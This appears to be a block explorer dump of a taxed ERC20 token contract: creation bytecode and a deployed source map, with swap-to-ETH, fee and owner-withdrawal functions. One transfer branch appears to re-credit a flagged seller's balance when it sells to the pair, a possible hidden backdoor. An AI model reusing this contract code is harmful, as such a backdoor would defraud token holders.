d5b50505050506040513d601f19601f8201168201806040525081019061097b919061170d565b5050601054600f5460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156109d0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109f491906116d3565b506010805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610a705760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103c0565b6001600160a01b038216610ad15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103c0565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b955760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103c0565b6001600160a01b038216610bf75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103c0565b5f8111610c585760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103c0565b6010545f90600160a01b900460ff161580610c7c5750601054600160a81b900460ff165b15610d34576001600160a01b0384165f90815260016020526040902054610ca4908390611738565b6001600160a01b038086165f908152600160205260408082209390935590851681522054610cd390839061174b565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d269086815260200190565b60405180910390a350505050565b5f546001600160a01b03858116911614801590610d5e57505f546001600160a01b03848116911614155b8015610d7857506004546001600160a01b03848116911614155b15610f8257600c545f03610daf57610dac606461058a600954600c5411610da157600554610da5565b6007545b85906110ee565b90505b6010546001600160a01b038581169116148015610dda5750600f546001600160a01b03848116911614155b8015610dfe57506001600160a01b0383165f9081526003602052604090205460ff16155b15610e3557610e1e606461058a600954600c5411610da157600554610da5565b600c80549192505f610e2f8361175e565b91905055505b6010546001600160a01b038481169116148015610e6957506001600160a01b0384165f9081526003602052604090205460ff165b15610e9b576001600160a01b0384165f9081526001602052604081208054849290610e9590849061174b565b90915550505b6010546001600160a01b038481169116148015610ec157506001600160a01b0384163014155b15610eee57610eeb606461058a600a54600c5411610ee157600654610da5565b60085485906110ee565b90505b305f90815260016020526040902054601054600160a81b900460ff16158015610f2457506010546001600160a01b038581169116145b8015610f395750601054600160b01b900460ff165b8015610f485750600b54600c54115b15610f8057600d54811115610f7457610f74610f6f84610f6a84600e546111b4565b6111b4565b6111c8565b47610f7e47611338565b505b505b8015610ffa57305f90815260016020526040902054610fa19082611373565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ff19085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461101c90836113d1565b6001600160a01b0385165f9081526001602052604090205561105f61104183836113d1565b6001600160a01b0385165f9081526001602052604090205490611373565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110a885856113d1565b604051908152602001610d26565b5f81848411156110d95760405162461bcd60e51b81526004016103c0919061143e565b505f6110e58486611738565b95945050505050565b5f825f036110fd57505f610370565b5f6111088385611670565b9050826111158583611776565b1461116c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103c0565b9392505050565b5f61116c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611412565b5f8183116111c2578261116c565b50919050565b6010805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061120e5761120e611795565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611265573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061128991906116f2565b8160018151811061129c5761129c611795565b6001600160a01b039283166020918202929092010152600f546112c29130911684610a0e565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112fa9085905f908690309042906004016117a9565b5f604051808303815f87803b158015611311575f80fd5b505af1158015611323573d5f803e3d5ffd5b50506010805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561136f573d5f803e3d5ffd5b5050565b5f8061137f838561174b565b90508381101561116c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103c0565b5f61116c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110b6565b5f81836114325760405162461bcd60e51b81526004016103c0919061143e565b505f6110e58486611776565b5f6020808352835180828501525f5b818110156114695785810183015185820160400152820161144d565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461040b575f80fd5b5f80604083850312156114ae575f80fd5b82356114b981611489565b946020939093013593505050565b5f805f606084860312156114d9575f80fd5b83356114e481611489565b925060208401356114f481611489565b929592945050506040919091013590565b5f60208284031215611515575f80fd5b813561116c81611489565b5f8060408385031215611531575f80fd5b823561153c81611489565b9150602083013561154c81611489565b809150509250929050565b5f60208284031215611567575f80fd5b5035919050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156115bc57815f19048211156115a2576115a261156e565b808516156115af57918102915b93841c9390800290611587565b509250929050565b5f826115d257506001610370565b816115de57505f610370565b81600181146115f457600281146115fe5761161a565b6001915050610370565b60ff84111561160f5761160f61156e565b50506001821b610370565b5060208310610133831016604e8410600b841016171561163d575081810a610370565b6116478383611582565b805f190482111561165a5761165a61156e565b029392505050565b5f61116c60ff8416836115c4565b80820281158282048414176103705761037061156e565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156116cc575f80fd5b5051919050565b5f602082840312156116e3575f80fd5b8151801515811461116c575f80fd5b5f60208284031215611702575f80fd5b815161116c81611489565b5f805f6060848603121561171f575f80fd5b8351925060208401519150604084015190509250925092565b818103818111156103705761037061156e565b808201808211156103705761037061156e565b5f6001820161176f5761176f61156e565b5060010190565b5f8261179057634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156117f75784516001600160a01b0316835293830193918301916001016117d2565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f18635196b0db649dca0f002b88b7dc5a31c02dc0c7024343691e01020eb779364736f6c63430008150033
Deployed Bytecode Sourcemap
3594:8240:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5998:83;;;;;;;;;;-1:-1:-1;6068:5:0;;;;;;;;;;;;-1:-1:-1;;;6068:5:0;;;;5998:83;;;;;;;:::i;:::-;;;;;;;;6831:161;;;;;;;;;;-1:-1:-1;6831:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6831:161:0;1023:187:1;4504:45:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4504:45:0;1215:177:1;6275:95:0;;;;;;;;;;;;;:::i;11679:152::-;;;;;;;;;;;;;:::i;:::-;;7000:313;;;;;;;;;;-1:-1:-1;7000:313:0;;;;;:::i;:::-;;:::i;6184:83::-;;;;;;;;;;-1:-1:-1;6184:83:0;;4261:1;2000:36:1;;1988:2;1973:18;6184:83:0;1858:184:1;6378:119:0;;;;;;;;;;-1:-1:-1;6378:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6471:18:0;6444:7;6471:18;;;:9;:18;;;;;;;6378:119;2675:148;;;;;;;;;;;;;:::i;11400:271::-;;;;;;;;;;-1:-1:-1;11400:271:0;;;;;:::i;:::-;;:::i;2461:79::-;;;;;;;;;;-1:-1:-1;2499:7:0;2526:6;2461:79;;-1:-1:-1;;;;;2526:6:0;;;2445:51:1;;2433:2;2418:18;2461:79:0;2299:203:1;6089:87:0;;;;;;;;;;-1:-1:-1;6161:7:0;;;;;;;;;;;;-1:-1:-1;;;6161:7:0;;;;6089:87;;6505:167;;;;;;;;;;-1:-1:-1;6505:167:0;;;;;:::i;:::-;;:::i;4445:52::-;;;;;;;;;;;;;;;;6680:143;;;;;;;;;;-1:-1:-1;6680:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6788:18:0;;;6761:7;6788:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6680:143;11168:187;;;;;;;;;;-1:-1:-1;11168:187:0;;;;;:::i;:::-;;:::i;10576:578::-;;;;;;;;;;;;;:::i;6831:161::-;6906:4;6923:39;296:10;6946:7;6955:6;6923:8;:39::i;:::-;-1:-1:-1;6980:4:0;6831:161;;;;;:::o;6275:95::-;6328:7;4319:13;4261:1;4319:2;:13;:::i;:::-;4304:28;;:12;:28;:::i;:::-;6348:14;;6275:95;:::o;11679:152::-;2588:6;;-1:-1:-1;;;;;2588:6:0;296:10;2588:22;2580:67;;;;-1:-1:-1;;;2580:67:0;;;;;;;:::i;:::-;;;;;;;;;11762:1:::1;11738:21;:25;11730:34;;;::::0;::::1;;2499:7:::0;2526:6;;11775:48:::1;::::0;-1:-1:-1;;;;;2526:6:0;;;;11801:21:::1;11775:48:::0;::::1;;;::::0;11801:21;;11775:48;2499:7;11775:48;11801:21;2526:6;11775:48;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;11679:152::o:0;7000:313::-;7098:4;7115:36;7125:6;7133:9;7144:6;7115:9;:36::i;:::-;7162:121;7171:6;296:10;7193:89;7231:6;7193:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7193:19:0;;;;;;:11;:19;;;;;;;;296:10;7193:33;;;;;;;;;;:37;:89::i;:::-;7162:8;:121::i;:::-;-1:-1:-1;7301:4:0;7000:313;;;;;:::o;2675:148::-;2588:6;;-1:-1:-1;;;;;2588:6:0;296:10;2588:22;2580:67;;;;-1:-1:-1;;;2580:67:0;;;;;;;:::i;:::-;2782:1:::1;2766:6:::0;;2745:40:::1;::::0;-1:-1:-1;;;;;2766:6:0;;::::1;::::0;2745:40:::1;::::0;2782:1;;2745:40:::1;2813:1;2796:19:::0;;-1:-1:-1;;;;;;2796:19:0::1;::::0;;2675:148::o;11400:271::-;2588:6;;-1:-1:-1;;;;;2588:6:0;296:10;2588:22;2580:67;;;;-1:-1:-1;;;2580:67:0;;;;;;;:::i;:::-;11504:55:::1;::::0;-1:-1:-1;;;11504:55:0;;11553:4:::1;11504:55;::::0;::::1;2445:51:1::0;11486:15:0::1;::::0;11504:105:::1;::::0;11605:3:::1;::::0;11504:82:::1;::::0;11578:7;;-1:-1:-1;;;;;11504:40:0;::::1;::::0;::::1;::::0;2418:18:1;;11504:55:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:73:::0;::::1;:82::i;:::-;:100:::0;::::1;:105::i;:::-;11486:123;;11627:8;-1:-1:-1::0;;;;;11620:25:0::1;;11646:7;2499::::0;2526:6;-1:-1:-1;;;;;2526:6:0;;2461:79;11646:7:::1;11620:43;::::0;-1:-1:-1;;;;;;11620:43:0::1;::::0;;;;;;-1:-1:-1;;;;;5515:32:1;;;11620:43:0::1;::::0;::::1;5497:51:1::0;5564:18;;;5557:34;;;5470:18;;11620:43:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;11475:196;11400:271:::0;;:::o;6505:167::-;6583:4;6600:42;296:10;6624:9;6635:6;6600:9;:42::i;11168:187::-;2588:6;;-1:-1:-1;;;;;2588:6:0;296:10;2588:22;2580:67;;;;-1:-1:-1;;;2580:67:0;;;;;;;:::i;:::-;11249:12:::1;;11240:7;:21;;:47;;;;;11274:13;;11265:7;:22;;11240:47;11232:56;;;::::0;::::1;;11297:12;:20:::0;;;11326:13:::1;:21:::0;11168:187::o;10576:578::-;2588:6;;-1:-1:-1;;;;;2588:6:0;296:10;2588:22;2580:67;;;;-1:-1:-1;;;2580:67:0;;;;;;;:::i;:::-;10638:11:::1;::::0;-1:-1:-1;;;10638:11:0;::::1;;;10637:12;10629:47;;;::::0;-1:-1:-1;;;10629:47:0;;6086:2:1;10629:47:0::1;::::0;::::1;6068:21:1::0;6125:2;6105:18;;;6098:30;6164:25;6144:18;;;6137:53;6207:18;;10629:47:0::1;5884:347:1::0;10629:47:0::1;10719:15;::::0;10687:58:::1;::::0;10704:4:::1;::::0;-1:-1:-1;;;;;10719:15:0::1;4319:13;4261:1;4319:2;:13;:::i;:::-;4304:28;::::0;:12:::1;:28;:::i;10687:58::-;10790:15;;;;;;;;;-1:-1:-1::0;;;;;10790:15:0::1;-1:-1:-1::0;;;;;10790:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10772:55:0::1;;10836:4;10843:15;;;;;;;;;-1:-1:-1::0;;;;;10843:15:0::1;-1:-1:-1::0;;;;;10843:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10772:94;::::0;-1:-1:-1;;;;;;10772:94:0::1;::::0;;;;;;-1:-1:-1;;;;;6722:15:1;;;10772:94:0::1;::::0;::::1;6704:34:1::0;6774:15;;6754:18;;;6747:43;6639:18;;10772:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10756:13;:110:::0;;-1:-1:-1;;;;;10756:110:0;;::::1;-1:-1:-1::0;;;;;;10756:110:0;;::::1;;::::0;;10877:15:::1;::::0;::::1;:31;10916:21;10947:4;10953:24;10947:4:::0;-1:-1:-1;;;;;6471:18:0;6444:7;6471:18;;;:9;:18;;;;;;;6378:119;10953:24:::1;10978:1;10980::::0;10982:7:::1;2499::::0;2526:6;-1:-1:-1;;;;;2526:6:0;;2461:79;10982:7:::1;10877:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10877:129:0;;;-1:-1:-1;;;;;7160:15:1;;;10877:129:0::1;::::0;::::1;7142:34:1::0;7192:18;;;7185:34;;;;7235:18;;;7228:34;;;;7278:18;;;7271:34;7342:15;;;7321:19;;;7314:44;10990:15:0::1;7374:19:1::0;;;7367:35;7076:19;;10877:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11024:13:0::1;::::0;11055:15:::1;::::0;11017:71:::1;::::0;-1:-1:-1;;;11017:71:0;;-1:-1:-1;;;;;11055:15:0;;::::1;11017:71;::::0;::::1;5497:51:1::0;-1:-1:-1;;5564:18:1;;;5557:34;11024:13:0;::::1;::::0;-1:-1:-1;11017:29:0::1;::::0;5470:18:1;;11017:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11099:11:0::1;:18:::0;;-1:-1:-1;;;;11128:18:0;-1:-1:-1;;;11128:18:0;;;10576:578::o;7321:335::-;-1:-1:-1;;;;;7414:19:0;;7406:68;;;;-1:-1:-1;;;7406:68:0;;7926:2:1;7406:68:0;;;7908:21:1;7965:2;7945:18;;;7938:30;8004:34;7984:18;;;7977:62;-1:-1:-1;;;8055:18:1;;;8048:34;8099:19;;7406:68:0;7724:400:1;7406:68:0;-1:-1:-1;;;;;7493:21:0;;7485:68;;;;-1:-1:-1;;;7485:68:0;;8331:2:1;7485:68:0;;;8313:21:1;8370:2;8350:18;;;8343:30;8409:34;8389:18;;;8382:62;-1:-1:-1;;;8460:18:1;;;8453:32;8502:19;;7485:68:0;8129:398:1;7485:68:0;-1:-1:-1;;;;;7564:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7616:32;;1361:25:1;;;7616:32:0;;1334:18:1;7616:32:0;;;;;;;7321:335;;;:::o;7664:2203::-;-1:-1:-1;;;;;7752:18:0;;7744:68;;;;-1:-1:-1;;;7744:68:0;;8734:2:1;7744:68:0;;;8716:21:1;8773:2;8753:18;;;8746:30;8812:34;8792:18;;;8785:62;-1:-1:-1;;;8863:18:1;;;8856:35;8908:19;;7744:68:0;8532:401:1;7744:68:0;-1:-1:-1;;;;;7831:16:0;;7823:64;;;;-1:-1:-1;;;7823:64:0;;9140:2:1;7823:64:0;;;9122:21:1;9179:2;9159:18;;;9152:30;9218:34;9198:18;;;9191:62;-1:-1:-1;;;9269:18:1;;;9262:33;9312:19;;7823:64:0;8938:399:1;7823:64:0;7915:1;7906:6;:10;7898:64;;;;-1:-1:-1;;;7898:64:0;;9544:2:1;7898:64:0;;;9526:21:1;9583:2;9563:18;;;9556:30;9622:34;9602:18;;;9595:62;-1:-1:-1;;;9673:18:1;;;9666:39;9722:19;;7898:64:0;9342:405:1;7898:64:0;8009:11;;7973:17;;-1:-1:-1;;;8009:11:0;;;;8008:12;;:22;;-1:-1:-1;8024:6:0;;-1:-1:-1;;;8024:6:0;;;;8008:22;8005:216;;;-1:-1:-1;;;;;8065:15:0;;;;;;:9;:15;;;;;;:24;;8083:6;;8065:24;:::i;:::-;-1:-1:-1;;;;;8047:15:0;;;;;;;:9;:15;;;;;;:42;;;;8120:13;;;;;;;:22;;8136:6;;8120:22;:::i;:::-;-1:-1:-1;;;;;8104:13:0;;;;;;;:9;:13;;;;;;;:38;;;;8162:26;;;;;;;;;;8181:6;1361:25:1;;1349:2;1334:18;;1215:177;8162:26:0;;;;;;;;8203:7;7664:2203;;;:::o;8005:216::-;2499:7;2526:6;-1:-1:-1;;;;;8237:15:0;;;2526:6;;8237:15;;;;:32;;-1:-1:-1;2499:7:0;2526:6;-1:-1:-1;;;;;8256:13:0;;;2526:6;;8256:13;;8237:32;:52;;;;-1:-1:-1;8279:10:0;;-1:-1:-1;;;;;8273:16:0;;;8279:10;;8273:16;;8237:52;8233:1278;;;8309:9;;8320:1;8309:12;8306:139;;8353:76;8425:3;8353:67;8375:15;;8365:9;;:25;8364:55;;8405:14;;8364:55;;;8392:12;;8364:55;8353:6;;:10;:67::i;:76::-;8341:88;;8306:139;8473:13;;-1:-1:-1;;;;;8465:21:0;;;8473:13;;8465:21;:55;;;;-1:-1:-1;8504:15:0;;-1:-1:-1;;;;;8490:30:0;;;8504:15;;8490:30;;8465:55;:83;;;;-1:-1:-1;;;;;;8526:22:0;;;;;;:18;:22;;;;;;;;8524:24;8465:83;8461:243;;;8582:76;8654:3;8582:67;8604:15;;8594:9;;:25;8593:55;;8634:14;;8593:55;;8582:76;8677:9;:11;;8570:88;;-1:-1:-1;8677:9:0;:11;;;:::i;:::-;;;;;;8461:243;8729:13;;-1:-1:-1;;;;;8723:19:0;;;8729:13;;8723:19;:47;;;;-1:-1:-1;;;;;;8746:24:0;;;;;;:18;:24;;;;;;;;8723:47;8720:77;;;-1:-1:-1;;;;;8772:15:0;;;;;;:9;:15;;;;;:25;;8791:6;;8772:15;:25;;8791:6;;8772:25;:::i;:::-;;;;-1:-1:-1;;8720:77:0;8821:13;;-1:-1:-1;;;;;8815:19:0;;;8821:13;;8815:19;:43;;;;-1:-1:-1;;;;;;8838:20:0;;8853:4;8838:20;;8815:43;8812:174;;;8891:79;8966:3;8891:70;8913:16;;8903:9;;:26;8902:58;;8945:15;;8902:58;;;8931:13;;8891:6;;:10;:70::i;:79::-;8879:91;;8812:174;9051:4;9002:28;6471:18;;;:9;:18;;;;;;9077:6;;-1:-1:-1;;;9077:6:0;;;;9076:7;:30;;;;-1:-1:-1;9093:13:0;;-1:-1:-1;;;;;9087:19:0;;;9093:13;;9087:19;9076:30;:45;;;;-1:-1:-1;9110:11:0;;-1:-1:-1;;;9110:11:0;;;;9076:45;:79;;;;;9137:18;;9125:9;;:30;9076:79;9072:428;;;9202:17;;9179:20;:40;9176:114;;;9221:69;9238:51;9242:6;9250:38;9254:20;9276:11;;9250:3;:38::i;:::-;9238:3;:51::i;:::-;9221:16;:69::i;:::-;9338:21;9430:35;9443:21;9430:12;:35::i;:::-;9157:343;9072:428;8291:1220;8233:1278;9526:11;;9523:161;;9594:4;9576:24;;;;:9;:24;;;;;;:39;;9605:9;9576:28;:39::i;:::-;9569:4;9551:24;;;;:9;:24;;;;;;;:64;;;;9633:39;;-1:-1:-1;;;;;9633:39:0;;;;;;;9662:9;1361:25:1;;1349:2;1334:18;;1215:177;9633:39:0;;;;;;;;9523:161;-1:-1:-1;;;;;9710:15:0;;;;;;:9;:15;;;;;;:27;;9730:6;9710:19;:27::i;:::-;-1:-1:-1;;;;;9694:15:0;;;;;;:9;:15;;;;;:43;9762:40;9780:21;:6;9791:9;9780:10;:21::i;:::-;-1:-1:-1;;;;;9762:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9748:13:0;;;;;;;:9;:13;;;;;:54;;;;9818:41;;;9837:21;:6;9848:9;9837:10;:21::i;:::-;9818:41;;1361:25:1;;;1349:2;1334:18;9818:41:0;1215:177:1;1353:190:0;1439:7;1475:12;1467:6;;;;1459:29;;;;-1:-1:-1;;;1459:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1499:9:0;1511:5;1515:1;1511;:5;:::i;:::-;1499:17;1353:190;-1:-1:-1;;;;;1353:190:0:o;1551:246::-;1609:7;1633:1;1638;1633:6;1629:47;;-1:-1:-1;1663:1:0;1656:8;;1629:47;1686:9;1698:5;1702:1;1698;:5;:::i;:::-;1686:17;-1:-1:-1;1731:1:0;1722:5;1726:1;1686:17;1722:5;:::i;:::-;:10;1714:56;;;;-1:-1:-1;;;1714:56:0;;10579:2:1;1714:56:0;;;10561:21:1;10618:2;10598:18;;;10591:30;10657:34;10637:18;;;10630:62;-1:-1:-1;;;10708:18:1;;;10701:31;10749:19;;1714:56:0;10377:397:1;1714:56:0;1788:1;1551:246;-1:-1:-1;;;1551:246:0:o;1805:132::-;1863:7;1890:39;1894:1;1897;1890:39;;;;;;;;;;;;;;;;;:3;:39::i;9877:98::-;9934:7;9961:1;9959;:3;9958:9;;9966:1;9958:9;;;-1:-1:-1;9964:1:0;9877:98;-1:-1:-1;9877:98:0:o;9983:483::-;4875:6;:13;;-1:-1:-1;;;;4875:13:0;-1:-1:-1;;;4875:13:0;;;10085:16:::1;::::0;;10099:1:::1;10085:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10085:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10085:16:0::1;10061:40;;10130:4;10112;10117:1;10112:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10112:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10156:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10156:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10112:7;;10156:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10146:4;10151:1;10146:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10146:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10221:15:::1;::::0;10189:62:::1;::::0;10206:4:::1;::::0;10221:15:::1;10239:11:::0;10189:8:::1;:62::i;:::-;10262:15;::::0;:196:::1;::::0;-1:-1:-1;;;10262:196:0;;-1:-1:-1;;;;;10262:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;10343:11;;10262:15:::1;::::0;10385:4;;10412::::1;::::0;10432:15:::1;::::0;10262:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;4911:6:0;:14;;-1:-1:-1;;;;4911:14:0;;;-1:-1:-1;;;;9983:483:0:o;10476:92::-;10533:10;;:27;;-1:-1:-1;;;;;10533:10:0;;;;:27;;;;;10553:6;;10533:10;:27;:10;:27;10553:6;10533:10;:27;;;;;;;;;;;;;;;;;;;;;10476:92;:::o;1022:179::-;1080:7;;1112:5;1116:1;1112;:5;:::i;:::-;1100:17;;1141:1;1136;:6;;1128:46;;;;-1:-1:-1;;;1128:46:0;;12230:2:1;1128:46:0;;;12212:21:1;12269:2;12249:18;;;12242:30;12308:29;12288:18;;;12281:57;12355:18;;1128:46:0;12028:351:1;1209:136:0;1267:7;1294:43;1298:1;1301;1294:43;;;;;;;;;;;;;;;;;:3;:43::i;1945:189::-;2031:7;2066:12;2059:5;2051:28;;;;-1:-1:-1;;;2051:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2090:9:0;2102:5;2106:1;2102;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:180::-;2959:6;3012:2;3000:9;2991:7;2987:23;2983:32;2980:52;;;3028:1;3025;3018:12;2980:52;-1:-1:-1;3051:23:1;;2900:180;-1:-1:-1;2900:180:1:o;3085:127::-;3146:10;3141:3;3137:20;3134:1;3127:31;3177:4;3174:1;3167:15;3201:4;3198:1;3191:15;3217:422;3306:1;3349:5;3306:1;3363:270;3384:7;3374:8;3371:21;3363:270;;;3443:4;3439:1;3435:6;3431:17;3425:4;3422:27;3419:53;;;3452:18;;:::i;:::-;3502:7;3492:8;3488:22;3485:55;;;3522:16;;;;3485:55;3601:22;;;;3561:15;;;;3363:270;;;3367:3;3217:422;;;;;:::o;3644:806::-;3693:5;3723:8;3713:80;;-1:-1:-1;3764:1:1;3778:5;;3713:80;3812:4;3802:76;;-1:-1:-1;3849:1:1;3863:5;;3802:76;3894:4;3912:1;3907:59;;;;3980:1;3975:130;;;;3887:218;;3907:59;3937:1;3928:10;;3951:5;;;3975:130;4012:3;4002:8;3999:17;3996:43;;;4019:18;;:::i;:::-;-1:-1:-1;;4075:1:1;4061:16;;4090:5;;3887:218;;4189:2;4179:8;4176:16;4170:3;4164:4;4161:13;4157:36;4151:2;4141:8;4138:16;4133:2;4127:4;4124:12;4120:35;4117:77;4114:159;;;-1:-1:-1;4226:19:1;;;4258:5;;4114:159;4305:34;4330:8;4324:4;4305:34;:::i;:::-;4375:6;4371:1;4367:6;4363:19;4354:7;4351:32;4348:58;;;4386:18;;:::i;:::-;4424:20;;3644:806;-1:-1:-1;;;3644:806:1:o;4455:140::-;4513:5;4542:47;4583:4;4573:8;4569:19;4563:4;4542:47;:::i;4600:168::-;4673:9;;;4704;;4721:15;;;4715:22;;4701:37;4691:71;;4742:18;;:::i;4773:356::-;4975:2;4957:21;;;4994:18;;;4987:30;5053:34;5048:2;5033:18;;5026:62;5120:2;5105:18;;4773:356::o;5134:184::-;5204:6;5257:2;5245:9;5236:7;5232:23;5228:32;5225:52;;;5273:1;5270;5263:12;5225:52;-1:-1:-1;5296:16:1;;5134:184;-1:-1:-1;5134:184:1:o;5602:277::-;5669:6;5722:2;5710:9;5701:7;5697:23;5693:32;5690:52;;;5738:1;5735;5728:12;5690:52;5770:9;5764:16;5823:5;5816:13;5809:21;5802:5;5799:32;5789:60;;5845:1;5842;5835:12;6236:251;6306:6;6359:2;6347:9;6338:7;6334:23;6330:32;6327:52;;;6375:1;6372;6365:12;6327:52;6407:9;6401:16;6426:31;6451:5;6426:31;:::i;7413:306::-;7501:6;7509;7517;7570:2;7558:9;7549:7;7545:23;7541:32;7538:52;;;7586:1;7583;7576:12;7538:52;7615:9;7609:16;